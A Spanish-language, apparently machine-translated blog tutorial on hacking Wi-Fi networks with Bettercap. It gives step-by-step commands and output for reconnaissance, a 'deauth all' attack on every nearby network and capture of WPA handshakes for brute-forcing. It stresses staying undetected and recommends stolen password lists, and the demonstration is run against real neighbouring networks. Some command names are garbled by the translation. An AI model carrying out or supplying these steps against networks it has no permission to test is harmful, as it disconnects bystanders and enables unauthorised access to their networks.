BlogCyber Weapons Lab

Cómo: piratear redes Wi-Fi con Bettercap

Existen muchas herramientas para piratear Wi-Fi, pero pocas son tan integradas y completas como Bettercap. Gracias a una interfaz impresionantemente simple que funciona incluso a través de SSH, es fácil acceder a muchos de los ataques Wi-Fi más poderosos disponibles desde cualquier lugar. Para capturar apretones de manos de redes Wi-Fi atendidas y desatendidas, usaremos dos de los módulos de Bettercap para ayudarnos a buscar contraseñas Wi-Fi débiles.

Estructuras de piratería Wi-Fi

La idea de organizar herramientas en marcos útiles no es nueva, pero hay muchas formas de hacerlo. Los marcos como Airgeddon incluyen una cantidad increíble de herramientas de pirateo de Wi-Fi de última generación, pero no se pueden usar a través de una línea de comandos. Esto se debe a que Airgeddon requiere la capacidad de abrir nuevas ventanas para que se ejecuten diferentes herramientas, por lo que si se está comunicando con una Raspberry Pi a través de SSH, puede olvidarse de iniciar muchas herramientas de pirateo de Wi-Fi.

Bettercap permite el acceso a las herramientas necesarias para buscar objetivos rápidamente, designar uno y tomar un apretón de manos WPA a la fuerza bruta. Si bien hoy no trabajaremos con ningún módulo de reconocimiento WPS, nuestra configuración le permitirá auditar contraseñas WPA débiles con facilidad. La forma en que se organiza Bettercap permite que cualquier persona que se encuentre cerca de un objetivo busque contraseñas WPA débiles mientras permanece sigiloso y sin ser detectado.

Hackeo WPA con Bettercap

Bettercap se describe como la navaja suiza de la piratería inalámbrica. Con ese fin, tiene muchos módulos para rastrear redes después de conectarse a ellas, así como otros módulos que buscan dispositivos Bluetooth. El uso más sencillo de Bettercap es utilizar los módulos de exploración y reconocimiento para identificar objetivos cercanos a los que dirigir los ataques y luego intentar identificar las redes con contraseñas débiles después de capturar la información necesaria.

Nuestros objetivos, en este caso, serán dos tipos de redes: atendidas y desatendidas. Las redes atendidas son más fáciles de atacar y una mayor cantidad de herramientas funcionarán en su contra. Con una red atendida, hay personas que la utilizan activamente para descargar archivos, ver Netflix o navegar por Internet. Podemos contar con que habrá dispositivos para iniciar la red que nos darán la información que necesitamos para intentar descifrar la contraseña.

Las redes desatendidas son más difíciles de identificar. Debido a que no tienen dispositivos con una conexión de datos activa para desconectar, estas redes generalmente no pudieron proporcionar la información necesaria para auditar una contraseña débil. Con el enfoque de PMKID para descifrar contraseñas WPA, ese ya no es el caso. La herramienta está integrada como uno de los módulos de pirateo de Wi-Fi y hace que sea aún más fácil de atacar.

Soluciones alternativas de fuerza bruta

Bettercap no rompe directamente las contraseñas de las redes a las que apunta, pero sería imposible hacerlo sin la información que Bettercap proporciona. Una vez que se captura un apretón de manos, deberá usar una herramienta de fuerza bruta como Hydra o Aircrack-ng para probar una lista de contraseñas comunes con el hash que ha capturado. La rapidez con que sucederá depende de algunos factores.

La primera es si la contraseña utilizada para proteger la red de destino está en la lista de contraseñas que está usando. Si no es así, este ataque no tendrá éxito, por lo que es esencial utilizar listas de contraseñas reales robadas o generadores de contraseñas personalizadas como CUPP. Si no cree que los ataques de fuerza bruta siguen siendo efectivos, se sorprenderá al saber que cualquier contraseña de ocho caracteres puede ser forzada en poco más de dos horas.

Otra solución para usar un dispositivo como una Raspberry Pi para la piratería de Wi-Fi es cargar el protocolo de enlace WPA en un servicio o red de craqueo. Muchos hackers utilizar redes que distribuyan la carga de agrietamiento entre las computadoras de los “trabajadores” voluntarios, lo que permite al grupo romper los apretones de manos WPA que pueden reunir los dispositivos menos potentes.

Si ejecuta Bettercap en una Raspberry Pi y luego carga los apretones de manos capturados en un cracker WPA distribuido, podría descifrar contraseñas en cuestión de minutos. Alternativamente, puede configurar esto usted mismo si tiene una computadora con un procesador y una GPU potentes.

Lo que necesitarás

Para seguir esta guía, necesitará una tarjeta de red inalámbrica que pueda poner en modo de monitor inalámbrico. Puede encontrar una lista de estos en nuestros artículos anteriores sobre la compra de adaptadores de red Wi-Fi. Es posible que su computadora tenga una tarjeta interna que admita el modo de monitor inalámbrico, pero deberá ejecutar Linux para trabajar con ella. Puede consultar nuestra otra guía para averiguar si su tarjeta existente funcionará.

Puede seguir nuestra guía hoy con Kali Linux en su computadora portátil, una Raspberry Pi con Kali Linux o incluso Ubuntu con alguna instalación adicional. Para obtener los mejores resultados, debe usar Kali Linux, porque Bettercap viene preinstalado.

Paso 1: Instale Bettercap

Si tiene Kali Linux instalado, puede encontrarlo en la carpeta “Sniffing & Spoofing” en el menú “Aplicaciones” o desde una búsqueda.

Si no tiene Bettercap, la documentación del proyecto está en el sitio web de Bettercap. Si está ejecutando Kali, puede ejecutar apto instalar bettercap para agregarlo, como se ve a continuación. Luego, puede ubicar la herramienta como se ve arriba.

~# apt install bettercap

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
  liblinear3
Use 'apt autoremove' to remove it.
The following additional packages will be installed:
  bettercap-caplets
Suggested packages:
  bettercap-ui
The following NEW packages will be installed:
  bettercap bettercap-caplets
0 upgraded, 2 newly installed, 0 to remove and 1854 not upgraded.
Need to get 6,931 kB of archives.
After this operation, 25.8 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 bettercap amd64 2.26.1-0kali1 [6,821 kB]
Get:2 http://archive.linux.duke.edu/kalilinux/kali kali-rolling/main amd64 bettercap-caplets all 0+git20191009-0kali1 [110 kB]
Fetched 6,931 kB in 3s (2,332 kB/s)
Selecting previously unselected package bettercap.
(Reading database ... 417705 files and directories currently installed.)
Preparing to unpack .../bettercap_2.26.1-0kali1_amd64.deb ...
Unpacking bettercap (2.26.1-0kali1) ...
Selecting previously unselected package bettercap-caplets.
Preparing to unpack .../bettercap-caplets_0+git20191009-0kali1_all.deb ...
Unpacking bettercap-caplets (0+git20191009-0kali1) ...
Setting up bettercap-caplets (0+git20191009-0kali1) ...
Setting up bettercap (2.26.1-0kali1) ...
bettercap.service is a disabled or a static unit, not starting it.

Si no está ejecutando Kali, deberá consultar La configuración más complicada de Bettercap. Si está en una Mac, puede hacer un reconocimiento de red, pero los módulos sobre los que estoy escribiendo no funcionarán. Aún así, puede verificar otras características instalándolo con Homebrew, usando el comando brew instalar bettercap.

Paso 2: Inicie Bettercap

Cuando esté listo, haga clic en el icono de Bettercap para iniciarlo. Debería ver el siguiente menú de ayuda en una ventana de terminal, aunque la herramienta no se iniciará automáticamente.

Usage of bettercap:
  -autostart string
        Comma separated list of modules to auto start. (default "events.stream")
  -caplet string
        Read commands from this file and execute them in the interactive session.
  -cpu-profile file
        Write cpu profile file.
  -debug
        Print debug messages.
  -env-file string
        Load environment variables from this file if found, set to empty to disable environment persistence.
  -eval string
        Run one or more commands separated by ; in the interactive session, used to set variables via command line.
  -gateway-override string
        Use the provided IP address instead of the default gateway. If not specified or invalid, the default gateway will be used.
  -iface string
        Network interface to bind to, if empty the default interface will be auto selected.
  -mem-profile file
        Write memory profile to file.
  -no-colors
        Disable output color effects.
  -no-history
        Disable interactive session history file.
  -silent
        Suppress all logs which are not errors.
  -version
        Print the version and exit.

Aquí, podemos ver los argumentos con los que podemos comenzar Bettercap. Uno de los más útiles es -Yo afronto lo que nos permite definir con qué interfaz trabajar. Si tenemos un adaptador de red inalámbrico externo, tendremos que definirlo con eso.

Paso 3: conecte su adaptador de red y comience

Ahora, tendremos que poner nuestra tarjeta en modo monitor. Si ya estamos conectados a una red Wi-Fi, Bettercap comenzará a rastrear esa red, por lo que el modo de monitor siempre es lo primero.

Busque su tarjeta con ifconfig o ip a para encontrar el nombre de su adaptador de red. Debería ser algo como wlan0 para su adaptador interno y wlan1 para su adaptador de red USB.

~# ifconfig

eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 50:7b:9d:7a:c8:8a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 38625  bytes 3052647 (2.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38625  bytes 3052647 (2.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.5.93  netmask 255.255.255.0  broadcast 192.168.5.255
        inet6  prefixlen 64  scopeid 0x20<link>
        ether   txqueuelen 1000  (Ethernet)
        RX packets 451  bytes 119964 (117.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 364  bytes 115672 (112.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 18:d6:c7:0e:e7:a1  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Tome el adaptador que sea compatible con el modo de monitor y cámbielo al modo de monitor abriendo una ventana de terminal y escribiendo airmon-ng start wlan1, con wlan1 sustituido por el nombre de su adaptador de red.

~# airmon-ng start wlan1

Found 3 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

  PID Name
  559 NetworkManager
  621 wpa_supplicant
14785 dhclient

PHY Interface   Driver      Chipset

phy0    wlan0       ath9k       Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)
phy3    wlan1       ath9k_htc   Atheros Communications, Inc. AR9271 802.11n

        (mac80211 monitor mode vif enabled for [phy3]wlan1 on [phy3]wlan1mon)
        (mac80211 station mode vif disabled for [phy3]wlan1)

Luego puede escribir ifconfig o ip a nuevamente para verificar que comenzó.

~# ifconfig

eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 50:7b:9d:7a:c8:8a  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 38645  bytes 3053647 (2.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 38645  bytes 3053647 (2.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.5.93  netmask 255.255.255.0  broadcast 192.168.5.255
        inet6  prefixlen 64  scopeid 0x20<link>
        ether  txqueuelen 1000  (Ethernet)
        RX packets 490  bytes 126996 (124.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 386  bytes 126911 (123.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 18-D6-C7-0E-E7-A1-30-3A-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 1202  bytes 363761 (355.2 KiB)
        RX errors 0  dropped 1176  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Después de asegurarse de que su tarjeta inalámbrica esté en modo monitor, puede iniciar Bettercap escribiendo sudo bettercap –iface wlan1mon en una nueva ventana de terminal, sustituyendo la parte “wlan1” con el nombre de su tarjeta.

~# sudo bettercap --iface wlan1mon

bettercap v2.24.1 (built for linux amd64 with go1.12.7) [type 'help' for a list of commands]

wlan1  »

Una vez que se abra Bettercap, escriba ayuda para ver una lista de todos los módulos en ejecución y comandos. En los módulos, puede ver que el módulo Wi-Fi no se inicia de forma predeterminada.

wlan1  » help

           help MODULE : List available commands or show module specific help if no module name is provided.
                active : Show information about active modules.
                  quit : Close the session and exit.
         sleep SECONDS : Sleep for the given amount of seconds.
              get NAME : Get the value of variable NAME, use * alone for all, or NAME* as a wildcard.
        set NAME VALUE : Set the VALUE of variable NAME.
  read VARIABLE PROMPT : Show a PROMPT to ask the user for input that will be saved inside VARIABLE.
                 clear : Clear the screen.
        include CAPLET : Load and run this caplet in the current session.
             ! COMMAND : Execute a shell command and print its output.
        alias MAC NAME : Assign an alias to a given endpoint given its MAC address.

Modules

      any.proxy > not running
       api.rest > not running
      arp.spoof > not running
      ble.recon > not running
        caplets > not running
    dhcp6.spoof > not running
      dns.spoof > not running
  events.stream > running
            gps > not running
     http.proxy > not running
    http.server > not running
    https.proxy > not running
   https.server > not running
    mac.changer > not running
   mysql.server > not running
      net.probe > not running
      net.recon > running
      net.sniff > not running
   packet.proxy > not running
       syn.scan > not running
      tcp.proxy > not running
         ticker > not running
         update > not running
           wifi > not running
            wol > not running

Paso 4: busque redes cercanas

Para comenzar, veamos los comandos que podemos emitir en el módulo Wi-Fi. Podemos ver esta información escribiendo ayuda wifi en Bettercap.

wlan1  » help wifi

wifi (running): A module to monitor and perform wireless attacks on 802.11.

        wifi.recon on : Start 802.11 wireless base stations discovery and channel hopping.
       wifi.recon off : Stop 802.11 wireless base stations discovery and channel hopping.
           wifi.clear : Clear all access points collected by the WiFi discovery module.
       wifi.recon MAC : Set 802.11 base station address to filter for.
     wifi.recon clear : Remove the 802.11 base station filter.
    wifi.deauth BSSID : Start a 802.11 deauth attack, if an access point BSSID is provided, every client will be deauthenticated, otherwise only the selected client. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate every access point with at least one client and start a deauth attack for each one.
     wifi.assoc BSSID : Send an association request to the selected BSSID in order to receive a RSN PMKID key. Use 'all', '*' or a broadcast BSSID (ff:ff:ff:ff:ff:ff) to iterate for every access point.
              wifi.ap : Inject fake management beacons in order to create a rogue access point.
  wifi.show.wps BSSID : Show WPS information about a given station (use 'all', '*' or a broadcast BSSID for all).
            wifi.show : Show current wireless stations list (default sorting by essid).
   wifi.recon.channel : WiFi channels (comma separated) or 'clear' for channel hopping.

  Parameters

         wifi.ap.bssid : BSSID of the fake access point. (default=<random mac>)
       wifi.ap.channel : Channel of the fake access point. (default=1)
    wifi.ap.encryption : If true, the fake access point will use WPA2, otherwise it'll result as an open AP. (default=true)
          wifi.ap.ssid : SSID of the fake access point. (default=FreeWiFi)
       wifi.assoc.open : Send association requests to open networks. (default=false)
     wifi.assoc.silent : If true, messages from wifi.assoc will be suppressed. (default=false)
       wifi.assoc.skip : Comma separated list of BSSID to skip while sending association requests. (default=)
      wifi.deauth.open : Send wifi deauth packets to open networks. (default=true)
    wifi.deauth.silent : If true, messages from wifi.deauth will be suppressed. (default=false)
      wifi.deauth.skip : Comma separated list of BSSID to skip while sending deauth packets. (default=)
  wifi.handshakes.file : File path of the pcap file to save handshakes to. (default=~/bettercap-wifi-handshakes.pcap)
       wifi.hop.period : If channel hopping is enabled (empty wifi.recon.channel), this is the time in milliseconds the algorithm will hop on every channel (it'll be doubled if both 2.4 and 5.0 bands are available). (default=250)
           wifi.region : Set the WiFi region to this value before activating the interface. (default=BO)
         wifi.rssi.min : Minimum WiFi signal strength in dBm. (default=-200)
      wifi.show.filter : Defines a regular expression filter for wifi.show (default=)
       wifi.show.limit : Defines limit for wifi.show (default=0)
        wifi.show.sort : Defines sorting field (rssi, bssid, essid, channel, encryption, clients, seen, sent, rcvd) and direction (asc or desc) for wifi.show (default=rssi asc)
      wifi.skip-broken : If true, dot11 packets with an invalid checksum will be skipped. (default=true)
      wifi.source.file : If set, the wifi module will read from this pcap file instead of the hardware interface. (default=)
          wifi.txpower : Set WiFi transmission power to this value before activating the interface. (default=30)

¡Aquí podemos ver muchas opciones! Para nuestros propósitos, seleccionaremos el módulo de reconocimiento de Wi-Fi. Para comenzar, escriba wifi.recon encendido en Bettercap. Comenzará a recibir una avalancha de mensajes tan pronto como las redes comiencen a detectarse. Si esto se vuelve abrumador, puede escribir events.stream off para silenciar las alertas.

wlan1  » wifi.recon on

[23:01:35] [sys.log] [inf] wifi WiFi region set to 'BO'
[23:01:35] [sys.log] [inf] wifi interface wlan1 txpower set to 30
[23:01:35] [sys.log] [inf] wifi started (min rssi: -200 dBm)
wlan1  » [23:01:35] [sys.log] [inf] wifi channel hopper started
wlan1  » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:35] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:36] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:37] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:38] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:38] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:38] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:39] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:39] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:39] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:41] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:41] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:41] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:42] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:43] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:52] [wifi.ap.new] wifi access point ████████████████████████████████████████████████████████████
wlan1  » [23:01:53] [wifi.client.new] new station ████████████████████████████████████████████████████████████

Paso 5: identificar objetivos

Para ver las redes que se han detectado, escriba wifi.show para mostrar una lista de redes.

wlan1  »  wifi.show

+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴  |       BSSID       |             SSID              |    Encryption    | WPS | Ch | Clients |  Sent  | Recvd  |   Seen   |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (TKIP, PSK) |     | 6  |         |        |        | 23:01:35 |
| -57 dBm | ██:██:██:██:██:██ | █████████████                 | OPEN             |     | 6  | 1       | 400 B  | 66 B   | 23:01:36 |
| -63 dBm | ██:██:██:██:██:██ | ██████                        | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:01:36 |
| -64 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) | 2.0 | 5  | 1       | 7.1 kB | 128 B  | 23:01:37 |
| -66 dBm | ██:██:██:██:██:██ | ████████████████              | WPA (TKIP, PSK)  |     | 1  |         |        |        | 23:01:39 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 1  |         |        |        | 23:01:35 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████  | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:01:35 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████              | OPEN             |     | 11 |         |        |        | 23:01:43 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████      | WPA2 (CCMP, PSK) |     | 7  |         |        |        | 23:01:43 |
| -82 dBm | ██:██:██:██:██:██ |                               | WPA2 (CCMP, PSK) | 2.0 | 6  |         | 3.9 kB |        | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | ████████████████              | OPEN             |     | 1  | 1       |        | 177 B  | 23:01:35 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 1  |         |        |        | 23:01:38 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:01:38 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████                | WPA2 (CCMP, PSK) |     | 6  | 1       | 670 B  | 384 B  | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:01:39 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:01:37 |
| -87 dBm | ██:██:██:██:██:██ | █████████████████████████████ | WPA2 (CCMP, PSK) | 2.0 | 8  |         |        |        | 23:01:36 |
| -87 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         | 759 B  |        | 23:01:44 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████          | OPEN             |     | 6  | 1       | 228 B  | 1.2 kB | 23:01:43 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:01:44 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████            | OPEN             |     | 8  |         |        |        | 23:01:41 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:01:41 |
| -90 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:01:41 |
| -91 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:01:41 |
| -92 dBm | ██:██:██:██:██:██ | ██                            | WPA2 (CCMP, PSK) | 2.0 | 11 |         |        |        | 23:01:35 |
| -92 dBm | ██:██:██:██:██:██ | <hidden>                      | OPEN             |     | 6  |         |        |        | 23:01:37 |
| -92 dBm | ██:██:██:██:██:██ | ████████                      | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:01:37 |
| -94 dBm | ██:██:██:██:██:██ | █████████████████████████     | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:01:37 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████    | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:01:42 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████             | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:01:41 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+

wlan1mon (ch. 12) / ↑ 0 B / ↓ 1.5 MB / 6556 pkts

Vaya, podemos ver toneladas de información sobre el entorno inalámbrico cercano que nos rodea, como qué redes son más fuertes y qué tipo de cifrado utilizan.

Notarás que todas las redes estarán en verde (no puedes verlo en este artículo, pero en el tuyo, verás verde). Cuando vemos una red en rojo (nuevamente, no en el cuadro de arriba, pero la verá al final), significa que tenemos un apretón de manos y podemos intentar forzarla. Primero comencemos con un método probado y verdadero, y usemos el módulo deauth para intentar obtener apretones de manos.

Paso 6: Ataque con un ataque Deauth

Para iniciar el módulo deauth, escriba wifi.deauth y luego la dirección MAC de la red que desea atacar. Si desea atacar todas las redes que ha encontrado, simplemente escriba todo o *, pero tenga en cuenta que esto puede ser ilegal si está interfiriendo con el Wi-Fi de alguien que no le permitió probar esta herramienta en él.

wlan1  » wifi.deauth all

wlan1  » [23:02:53] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:54] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:02:55] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:55] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:02:56] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:57] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:02:57] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:02:58] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:02:59] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:03:00] [wifi.client.new] new station ████████████████████████████████████████████████████████████
wlan1  » [23:03:01] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:01] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:02] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:02] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:03:03] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:04] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:04] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:05] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.handshake] capturing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [sys.log] [inf] wifi deauthing ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████
wlan1  » [23:03:06] [wifi.client.probe] station ████████████████████████████████████████████████████████████

Después de permitir que la herramienta se ejecute durante aproximadamente un minuto, podemos ver los resultados escribiendo wifi.show y ver si los resultados han aparecido en rojo. En nuestro ejemplo, podemos ver que hemos logrado apretones de manos para tres de las redes Wi-Fi cercanas que hemos detectado.

wlan1  » wifi.show

+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴  |       BSSID       |             SSID              |    Encryption    | WPS | Ch | Clients |  Sent  | Recvd  |   Seen   |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  | 5       | 12 kB  |        | 23:03:06 |
| -57 dBm | ██:██:██:██:██:██ | █████████████                 | WPA2 (CCMP, PSK) |     | 6  | 1       | 6.5 kB | 66 B   | 23:03:04 |
| -63 dBm | ██:██:██:██:██:██ | ██████                        | WPA2 (CCMP, PSK) |     | 11 | 2       | 1.2 kB |        | 23:03:04 |
| -64 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (CCMP, PSK) | 2.0 | 5  | 2       | 7.1 kB | 128 B  | 23:03:02 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 1  | 2       | 353 B  |        | 23:03:05 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████  | WPA2 (CCMP, PSK) |     | 6  | 1       | 4.9 kB |        | 23:03:06 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████              | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:03:06 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████      | WPA2 (CCMP, PSK) |     | 7  |         |        |        | 23:03:07 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 1  |         |        |        | 23:03:01 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:03:02 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████                | WPA2 (CCMP, PSK) |     | 6  |         | 670 B  | 384 B  | 23:03:02 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:03:01 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:03:01 |
| -87 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         | 759 B  |        | 23:03:02 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████          | WPA2 (CCMP, PSK) |     | 6  |         | 228 B  | 1.2 kB | 23:03:04 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:03:04 |
